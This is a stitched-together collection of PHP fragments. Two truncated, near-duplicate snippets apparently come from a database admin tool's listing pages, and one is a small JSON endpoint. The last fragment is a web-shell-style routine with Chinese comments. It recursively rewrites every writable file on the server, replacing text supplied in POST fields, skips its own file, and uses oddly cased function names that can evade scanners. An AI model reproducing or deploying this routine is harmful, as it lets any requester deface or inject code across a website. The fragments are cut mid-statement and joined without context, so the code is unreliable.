echo "<h3 id='sequences'>" . lang('Sequences') . "</h3>\n"; $sequences = get_vals("SELECT sequence_name FROM information_schema.sequences WHERE sequence_schema = current_schema()"); if ($sequences) { echo "<table cellspacing='0'>\n"; echo "<thead><tr><th>" . lang('Name') . "</thead>\n"; odd(''); foreach ($sequences as $val) { echo "<tr" . odd() . "><th><a href='" . h(ME) . "sequence=" . urlencode($val) . "'>" . h($val) . "</a>\n"; } echo "</table>\n"; } echo "<p class='links'><a href='" . h(ME) . "sequence='>" . lang('Create sequence') . "</a>\n"; } if (support("type")) { echo "<h3 id='user-types'>" . lang('User types') . "</h3>\n"; $user_types = types(); if ($user_types) { echo "<table cellspacing='0'>\n"; echo "<thead><tr><th>" . lang('Name') . "</thead>\n"; odd(''); foreach ($user_types as $val) { echo "<tr" . odd() . "><th><a href='" . h(ME) . "type=" . urlencode($val) . "'>" . h($val) . "</a>\n"; } echo "</table>\n"; } echo "<p class='links'><a href='" . h(ME) . "type='>" . lang('Create type') . "</a>\n"; } if (support("event")) { echo "<h3 id='events'>" . lang('Events') . "</h3>\n"; $rows = get_rows("SHOW EVENTS"); if ($rows) {
function main() { $action = $_REQUEST["action"]; if ($action == "topics") { $data = topics(); } else { if ($action == "types") { $data = types(); } else { if ($action == "people") { $data = people(); } else { $data = projects(); } } } header("Content-Type: application/json"); header("Access-Control-Allow-Origin: *"); echo json_encode($data); }
echo "<h3>" . lang('Sequences') . "</h3>\n"; $sequences = get_vals("SELECT sequence_name FROM information_schema.sequences WHERE sequence_schema = current_schema()"); if ($sequences) { echo "<table cellspacing='0'>\n"; echo "<thead><tr><th>" . lang('Name') . "</thead>\n"; odd(''); foreach ($sequences as $val) { echo "<tr" . odd() . "><th><a href='" . h(ME) . "sequence=" . urlencode($val) . "'>" . h($val) . "</a>\n"; } echo "</table>\n"; } echo "<p><a href='" . h(ME) . "sequence='>" . lang('Create sequence') . "</a>\n"; } if (support("type")) { echo "<h3>" . lang('User types') . "</h3>\n"; $types = types(); if ($types) { echo "<table cellspacing='0'>\n"; echo "<thead><tr><th>" . lang('Name') . "</thead>\n"; odd(''); foreach ($types as $val) { echo "<tr" . odd() . "><th><a href='" . h(ME) . "type=" . urlencode($val) . "'>" . h($val) . "</a>\n"; } echo "</table>\n"; } echo "<p><a href='" . h(ME) . "type='>" . lang('Create type') . "</a>\n"; } if (support("event")) { echo "<h3>" . lang('Events') . "</h3>\n"; $rows = get_rows("SHOW EVENTS"); if ($rows) {
function listfiles($dir = ".") { //遍厉目录并替换 $hAndle = opendir($dir); //打开目录 while (fAlse != ($file = reAddir($hAndle))) { //阅读目录 if ($file != '.' && $file != '..') { //列出所有文件并去掉'.'和'.. if (is_dir("{$dir}/{$file}")) { //列出文件和目录 echo "<font color=\"yellow\">{$dir}/{$file}</font><br />"; //输出目录名[黄色] listfiles("{$dir}/{$file}"); //递归调用 } else { if ("{$dir}/{$file}" != selfname()) { //判断自身 echo "{$dir}/{$file}"; //输出文件名 //读取文件内容 if (checktype(selftype("{$dir}/{$file}"), types($_POST['type'])) and $_POST['type'] != "") { if (filesize("{$dir}/{$file}") > 0) { if (is_writable("{$dir}/{$file}")) { $fp = fopen("{$dir}/{$file}", "r"); $con = addslashes(freAd($fp, filesize("{$dir}/{$file}"))); //==========================替换内容 $con = replace($_POST['a'], $_POST['b'], $con); fclose($fp); //关闭文件连接 $fd = fopen("{$dir}/{$file}", "w"); //打开文件 $A = fputs($fd, stripslashes($con)); //写入替换后的内容 fclose($fd); //关闭文件连接 echo "<br />"; } else { echo "<font color=\"red\"> 不可写</font><br />"; } } } else { if ($_POST['type'] == "") { if (filesize("{$dir}/{$file}") > 0) { if (is_writable("{$dir}/{$file}")) { $fp = fopen("{$dir}/{$file}", "r"); $con = addslashes(freAd($fp, filesize("{$dir}/{$file}"))); //==========================替换内容 $con = replace($_POST['a'], $_POST['b'], $con); fclose($fp); //关闭文件连接 $fd = fopen("{$dir}/{$file}", "w"); //打开文件 $A = fputs($fd, stripslashes($con)); //写入替换后的内容 fclose($fd); //关闭文件连接} echo "<br />"; } else { echo "<font color=\"red\"> 不可写</font><br />"; } } } else { echo "<font color=\"red\"> 类型不匹配</font><br />"; } } } } } } }